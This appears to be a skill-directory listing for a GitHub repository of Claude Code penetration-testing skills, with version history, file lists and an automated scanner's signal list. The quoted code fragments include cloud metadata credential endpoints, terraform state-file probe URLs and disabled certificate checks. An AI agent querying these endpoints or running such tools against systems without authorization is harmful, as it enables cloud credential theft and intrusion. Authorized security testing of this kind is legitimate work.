Not in the top 1,000 by GitHub stars

Orizon-eu/claude-code-pentest

6 Claude Code skills that automate the entire pentest lifecycle. From recon to exploit chains to bug bounty reports — just give it a domain. 43 scripts, zero dependencies, pure Python.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

api-breaker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

f1cf16f691fb → f1cf16f691fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → f1cf16f691fb

No earlier version was observed for comparison.

Compare on GitHub

attack-path-architect/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

f1cf16f691fb → f1cf16f691fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → f1cf16f691fb

No earlier version was observed for comparison.

Compare on GitHub

cloud-pivot-finder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

f1cf16f691fb → f1cf16f691fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → f1cf16f691fb

No earlier version was observed for comparison.

Compare on GitHub

recon-dominator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

f1cf16f691fb → f1cf16f691fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → f1cf16f691fb

No earlier version was observed for comparison.

Compare on GitHub

vuln-chain-composer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

f1cf16f691fb → f1cf16f691fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → f1cf16f691fb

No earlier version was observed for comparison.

Compare on GitHub

webapp-exploit-hunter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

f1cf16f691fb → f1cf16f691fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → f1cf16f691fb

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit f1cf16f691fbc5d87aa6ed421a945f1af3fc7af7

31GitHub stars
3stars in 7 days
6skills in this repository
0commits in 30 days

Heat

2.8
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 5, 202631

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

api-breaker

When your agent uses it

Automated API security testing starting from domains. Discovers REST, GraphQL, and SOAP APIs, reconstructs schemas, and tests for BOLA/IDOR, BFLA, mass assignment, JWT attacks, rate limiting bypass, and business logic flaws. Use when user asks to "test API security", "break API", "find API vulnerabilities", "test GraphQL", "test JWT", "API pentest", or provides domains with API endpoints. For authorized testing only.

What it loads into context

Frontmatter

122 tokens

Always available to the agent

SKILL.md

1,531 tokens

When the skill is activated

Reference documents

0 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Important
  2. Instructions
  3. Error Handling
  4. Examples

Scripts executed separately

  • scripts/api_discovery.py
  • scripts/api_report.py
  • scripts/auth_analyzer.py
  • scripts/authz_tester.py
  • scripts/logic_tester.py
  • scripts/mass_assignment.py
  • scripts/rate_limiter.py
  • scripts/schema_builder.py

Files

  • SKILL.mdcore6,238 bytes
  • SKILL.mdcore6,238 bytes
  • SKILL.mdcore6,238 bytes
  • SKILL.mdcore6,238 bytes
  • SKILL.mdcore6,238 bytes
  • SKILL.mdcore6,238 bytes
  • SKILL.mdcore6,238 bytes
  • SKILL.mdcore6,238 bytes
  • SKILL.mdcore6,238 bytes
  • scripts/api_discovery.pyruns11,834 bytes
  • scripts/api_report.pyruns18,367 bytes
  • scripts/auth_analyzer.pyruns17,673 bytes
  • scripts/authz_tester.pyruns14,757 bytes
  • scripts/logic_tester.pyruns20,877 bytes
  • scripts/mass_assignment.pyruns15,356 bytes
  • scripts/rate_limiter.pyruns14,865 bytes
  • scripts/schema_builder.pyruns18,851 bytes
Read SKILL.md

# API Breaker

Intelligent API security testing. Discovers, maps, and exploits API vulnerabilities.

## Important

CRITICAL: Only test APIs you have explicit authorization to test.

## Instructions

### Step 1: API Discovery

```bash
python scripts/api_discovery.py --domain {target_domain}
View the complete source on GitHub

Skills included

  • api-breaker
  • attack-path-architect
  • cloud-pivot-finder
  • recon-dominator
  • vuln-chain-composer
  • webapp-exploit-hunter

Repository facts

License
MIT
Created
Mar 11, 2026
Last pushed
Mar 11, 2026
Forks
7
Open issues
0
Project activity
Slowing

Before you install

Network or broad shell

Automated signals, not a guarantee

Offensive security tool: run only in authorized labs.

Checked Nov 4, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 47 notes
  • api-breaker/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • api-breaker/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • api-breaker/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • api-breaker/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • api-breaker/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • api-breaker/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • api-breaker/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • api-breaker/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • attack-path-architect/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • attack-path-architect/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • attack-path-architect/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • attack-path-architect/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • attack-path-architect/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • cloud-pivot-finder/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • cloud-pivot-finder/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • cloud-pivot-finder/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • cloud-pivot-finder/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • cloud-pivot-finder/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • cloud-pivot-finder/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • cloud-pivot-finder/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 546 signals by file

api-breaker/SKILL.md

  • Network accessline 127
    - Affected endpoint and method - Request/response showing the issue - curl command for reproduction
  • Network accessline 128
    - Request/response showing the issue - curl command for reproduction - Impact assessment
  • Network accessline 129
    - curl command for reproduction

api-breaker/scripts/api_discovery.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 41
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 42
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 43
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 44
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 45
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 257
    domain = args.domain.strip().lower()     if not domain.startswith("http"):         base_url = f"https://{domain}"
  • Network accessline 258
    if not domain.startswith("http"):         base_url = f"https://{domain}"     else:
  • Network accessline 259
    base_url = f"https://{domain}"

api-breaker/scripts/api_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 164
    """Build a curl command for reproducing the finding."""
  • Network accessline 169
    parts = [f"curl -X {method}"]

api-breaker/scripts/auth_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 46
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 47
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 48
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 49
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 50
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Access to secretsline 242
    [Credential-related source omitted]
  • Access to secretsline 249
    [Credential-related source omitted]
  • Access to secretsline 250
    [Credential-related source omitted]
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]
  • Access to secretsline 256
    [Credential-related source omitted]
  • Access to secretsline 260
    [Credential-related source omitted]
  • Access to secretsline 279
    [Credential-related source omitted]

api-breaker/scripts/authz_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 44
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 45
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 46
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 47
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 48
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

api-breaker/scripts/logic_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 44
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 45
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 46
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 47
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 48
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

api-breaker/scripts/mass_assignment.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 43
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 44
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 45
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 46
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 47
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

api-breaker/scripts/rate_limiter.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 44
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 45
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 46
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 47
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 48
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

api-breaker/scripts/schema_builder.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 43
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 44
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 45
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 46
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 47
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

attack-path-architect/references/mitre-attack-mapping.md

  • Network accessline 30
    ## Reference - Full matrix: https://attack.mitre.org/
  • Network accessline 31
    - Full matrix: https://attack.mitre.org/
  • Network accessline 32
    - Navigator: https://mitre-attack.github.io/attack-navigator/

attack-path-architect/scripts/classify_assets.py

  • Executable scriptline 1
    #!/usr/bin/env python3

attack-path-architect/scripts/generate_attack_tree.py

  • Executable scriptline 1
    #!/usr/bin/env python3

attack-path-architect/scripts/map_trust.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 35
    ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 36
    ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:
  • Network accessline 37
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 38
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return dict(resp.headers)
  • Network accessline 39
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 190
    ctx.check_hostname = False             ctx.verify_mode = ssl.CERT_NONE             with socket.create_connection((host, 443), timeout=3) as sock:
  • Network accessline 191
    ctx.verify_mode = ssl.CERT_NONE             with socket.create_connection((host, 443), timeout=3) as sock:                 with ctx.wrap_socket(sock, server_hostname=host) as ssock:
  • Network accessline 192
    with socket.create_connection((host, 443), timeout=3) as sock:

cloud-pivot-finder/SKILL.md

  • Access to secretsline 105
    [Credential-related source omitted]

cloud-pivot-finder/scripts/bucket_enum.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 36
    ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 37
    ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:
  • Network accessline 38
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 39
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return resp.status, resp.read(32768).decode("utf-8", errors="replace")
  • Network accessline 40
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 94
    url = f"https://{name}.s3.amazonaws.com/"
  • Network accessline 117
    url2 = f"https://s3.amazonaws.com/{name}/"
  • Network accessline 131
    url = f"https://storage.googleapis.com/{name}/"
  • Network accessline 152
    url = f"https://{name}.blob.core.windows.net/?comp=list"

cloud-pivot-finder/scripts/cicd_finder.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Network accessline 217
    CLOUD_STATE_URLS = {     "s3_tfstate": [         "https://{name}.s3.amazonaws.com/terraform.tfstate",
  • Network accessline 218
    "s3_tfstate": [         "https://{name}.s3.amazonaws.com/terraform.tfstate",         "https://{name}.s3.amazonaws.com/env/prod/terraform.tfstate",
  • Network accessline 219
    "https://{name}.s3.amazonaws.com/terraform.tfstate",
  • Network accessline 220
    "https://{name}.s3.amazonaws.com/env/prod/terraform.tfstate",
  • Network accessline 221
    "https://{name}.s3.amazonaws.com/env/dev/terraform.tfstate",
  • Network accessline 222
    "https://{name}.s3.amazonaws.com/state/terraform.tfstate",
  • Network accessline 223
    ],     "gcs_tfstate": [         "https://storage.googleapis.com/{name}/terraform.tfstate",
  • Network accessline 224
    "gcs_tfstate": [         "https://storage.googleapis.com/{name}/terraform.tfstate",         "https://storage.googleapis.com/{name}/default.tfstate",
  • Network accessline 225
    "https://storage.googleapis.com/{name}/terraform.tfstate",
  • Network accessline 226
    "https://storage.googleapis.com/{name}/default.tfstate",
  • Network accessline 234
    ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 235
    ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:
  • Network accessline 236
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 237
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             headers = dict(resp.headers)
  • Network accessline 238
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

cloud-pivot-finder/scripts/cloud_detector.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 125
    ctx.check_hostname = False         ctx.verify_mode = ssl.CERT_NONE         req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 126
    ctx.verify_mode = ssl.CERT_NONE         req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})         try:
  • Network accessline 127
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 128
    try:             with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:                 headers = dict(resp.headers)
  • Network accessline 129
    with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:

cloud-pivot-finder/scripts/cloud_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

cloud-pivot-finder/scripts/metadata_paths.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 35
    METADATA_ENDPOINTS = {     "AWS IMDSv1": {         "url": "http://169.254.169.254/latest/meta-data/",
  • Network accessline 36
    "AWS IMDSv1": {         "url": "http://169.254.169.254/latest/meta-data/",         "credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 37
    "url": "http://169.254.169.254/latest/meta-data/",
  • Network accessline 38
    "credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 41
    },     "AWS IMDSv2": {         "url": "http://169.254.169.254/latest/meta-data/",
  • Network accessline 42
    "AWS IMDSv2": {         "url": "http://169.254.169.254/latest/meta-data/",         "credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 43
    "url": "http://169.254.169.254/latest/meta-data/",
  • Network accessline 44
    "credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  • Network accessline 45
    "token_header": "X-aws-ec2-metadata-token",         "token_url": "http://169.254.169.254/latest/api/token",         "provider": "AWS",
  • Network accessline 46
    "token_url": "http://169.254.169.254/latest/api/token",
  • Network accessline 48
    },     "GCP Metadata": {         "url": "http://metadata.google.internal/computeMetadata/v1/",
  • Network accessline 49
    "GCP Metadata": {         "url": "http://metadata.google.internal/computeMetadata/v1/",         "credential_path": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
  • Network accessline 50
    "url": "http://metadata.google.internal/computeMetadata/v1/",
  • Network accessline 51
    "credential_path": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
  • Network accessline 54
    },     "Azure IMDS": {         "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
  • Network accessline 55
    "Azure IMDS": {         "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",         "credential_path": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com
  • Network accessline 56
    "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
  • Network accessline 57
    "credential_path": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
  • Network accessline 60
    },     "DigitalOcean Metadata": {         "url": "http://169.254.169.254/metadata/v1/",
  • Network accessline 61
    "DigitalOcean Metadata": {         "url": "http://169.254.169.254/metadata/v1/",         "credential_path": None,
  • Network accessline 62
    "url": "http://169.254.169.254/metadata/v1/",
  • Network accessline 159
    if extra_headers:         headers.update(extra_headers)     req = urllib.request.Request(url, headers=headers)
  • Network accessline 160
    headers.update(extra_headers)     req = urllib.request.Request(url, headers=headers)     try:
  • Network accessline 161
    req = urllib.request.Request(url, headers=headers)
  • Network accessline 162
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(32768).decode("utf-8", errors="replace")
  • Network accessline 163
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

cloud-pivot-finder/scripts/serverless_finder.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Network accessline 132
    ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 133
    ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:
  • Network accessline 134
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 135
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             headers = dict(resp.headers)
  • Network accessline 136
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

cloud-pivot-finder/scripts/takeover_scanner.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 191
    for scheme in ["https", "http"]:         url = f"{scheme}://{hostname}/"         req = urllib.request.Request(url, headers={
  • Network accessline 192
    url = f"{scheme}://{hostname}/"         req = urllib.request.Request(url, headers={             "User-Agent": "orizon-recon/1.0",
  • Network accessline 193
    req = urllib.request.Request(url, headers={
  • Network accessline 196
    })         try:             with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 197
    try:             with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:                 body = resp.read(16384).decode("utf-8", errors="replace")
  • Network accessline 198
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

recon-dominator/references/tools-setup.md

  • Dangerous shell operationline 46
    sudo apt install nmap
  • Dangerous shell operationline 49
    sudo pacman -S nmap

recon-dominator/scripts/active_recon.py

  • Executable scriptline 1
    #!/usr/bin/env python3

recon-dominator/scripts/generate_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

recon-dominator/scripts/google_dorker.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Network accessline 145
    for template in templates:             query = template.format(domain=domain)             search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"
  • Network accessline 146
    query = template.format(domain=domain)             search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"             results[category].append({
  • Network accessline 147
    search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"
  • Network accessline 190
    for template in custom:                 query = template.replace("{domain}", domain)                 search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"
  • Network accessline 191
    query = template.replace("{domain}", domain)                 search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"                 dorks["custom"].append({"query": query, "url": search_url})
  • Network accessline 192
    search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"

recon-dominator/scripts/osint_correlator.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 34
    ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 35
    ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:
  • Network accessline 36
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 37
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return resp.read().decode("utf-8", errors="replace")
  • Network accessline 38
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 137
    log(f"Running reverse IP lookup on {ip}...")     url = f"https://api.hackertarget.com/reverseiplookup/?q={ip}"
  • Network accessline 138
    url = f"https://api.hackertarget.com/reverseiplookup/?q={ip}"
  • Network accessline 152
    url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,isp,org,as,query"
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 183
    urls = []     for dork in dorks:         search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code"
  • Network accessline 184
    for dork in dorks:         search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code"         urls.append({"query": dork, "url": search_url})
  • Network accessline 185
    search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code"

recon-dominator/scripts/passive_recon.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 39
    ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 40
    ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:
  • Network accessline 41
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 42
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return resp.read().decode("utf-8", errors="replace")
  • Network accessline 43
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 52
    log(f"Querying crt.sh for {domain}...")     url = f"https://crt.sh/?q=%25.{urllib.parse.quote(domain)}&output=json"
  • Network accessline 53
    url = f"https://crt.sh/?q=%25.{urllib.parse.quote(domain)}&output=json"
  • Network accessline 77
    log(f"Querying HackerTarget for {domain}...")     url = f"https://api.hackertarget.com/hostsearch/?q={urllib.parse.quote(domain)}"
  • Network accessline 78
    url = f"https://api.hackertarget.com/hostsearch/?q={urllib.parse.quote(domain)}"
  • Network accessline 96
    log(f"Querying RapidDNS for {domain}...")     url = f"https://rapiddns.io/subdomain/{urllib.parse.quote(domain)}?full=1"
  • Network accessline 97
    url = f"https://rapiddns.io/subdomain/{urllib.parse.quote(domain)}?full=1"
  • Network accessline 179
    log(f"Querying Wayback Machine for {domain}...")     url = f"https://web.archive.org/cdx/search/cdx?url=*.{urllib.parse.quote(domain)}/*&output=json&fl=original&collapse=urlkey&limit=5000"
  • Network accessline 180
    url = f"https://web.archive.org/cdx/search/cdx?url=*.{urllib.parse.quote(domain)}/*&output=json&fl=original&collapse=urlkey&limit=5000"

recon-dominator/scripts/port_scanner.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 47
    try:         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 48
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 76
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 77
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(8192).decode("utf-8", errors="replace")
  • Network accessline 78
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

recon-dominator/scripts/tech_fingerprint.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 121
    ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={
  • Network accessline 122
    ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={         "User-Agent": "Mozilla/5.0 (compatible; orizon-recon/1.0)"
  • Network accessline 123
    req = urllib.request.Request(url, headers={
  • Network accessline 125
    })     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 126
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(32768).decode("utf-8", errors="replace")
  • Network accessline 127
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

recon-dominator/scripts/wayback_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 33
    ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 34
    ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:
  • Network accessline 35
    req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})
  • Network accessline 36
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return resp.read().decode("utf-8", errors="replace")
  • Network accessline 37
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 46
    log(f"Fetching Wayback Machine URLs for {domain}...")     url = (         f"https://web.archive.org/cdx/search/cdx?"
  • Network accessline 47
    url = (         f"https://web.archive.org/cdx/search/cdx?"         f"url=*.{urllib.parse.quote(domain)}/*"
  • Network accessline 48
    f"https://web.archive.org/cdx/search/cdx?"         f"url=*.{urllib.parse.quote(domain)}/*"         f"&output=json&fl=original,timestamp,statuscode,mimetype"
  • Access to secretsline 124
